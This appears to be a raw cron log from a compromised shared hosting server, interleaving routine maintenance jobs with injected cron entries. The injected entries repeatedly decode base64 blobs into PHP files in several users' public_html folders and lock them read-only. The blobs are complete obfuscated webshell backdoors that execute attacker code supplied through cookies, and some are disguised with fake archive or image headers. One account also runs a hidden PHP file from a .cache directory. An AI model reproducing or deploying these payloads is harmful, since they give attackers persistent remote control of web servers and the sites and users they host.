Mar  1 15:12:01 medusa CROND[1728]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:12:01 medusa CROND[1734]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:12:01 medusa CROND[1737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:12:01 medusa CROND[1743]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:12:01 medusa CROND[1784]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:13:01 medusa CROND[26183]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:13:01 medusa CROND[26350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:13:01 medusa CROND[26351]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 15:13:01 medusa CROND[26352]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:13:01 medusa CROND[26353]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:13:01 medusa CROND[26354]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:13:01 medusa CROND[26355]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:13:01 medusa CROND[26356]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 15:13:01 medusa CROND[26357]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:13:01 medusa CROND[26365]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 15:13:01 medusa CROND[26373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:13:01 medusa CROND[26376]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:13:01 medusa CROND[26378]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:13:01 medusa CROND[26379]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:14:01 medusa CROND[16448]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:14:01 medusa CROND[16526]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 15:14:01 medusa CROND[16527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:14:01 medusa CROND[16530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:14:01 medusa CROND[16531]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:14:01 medusa CROND[16532]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:14:01 medusa CROND[16534]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:14:01 medusa CROND[16535]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:14:01 medusa CROND[16538]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:14:01 medusa CROND[16540]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
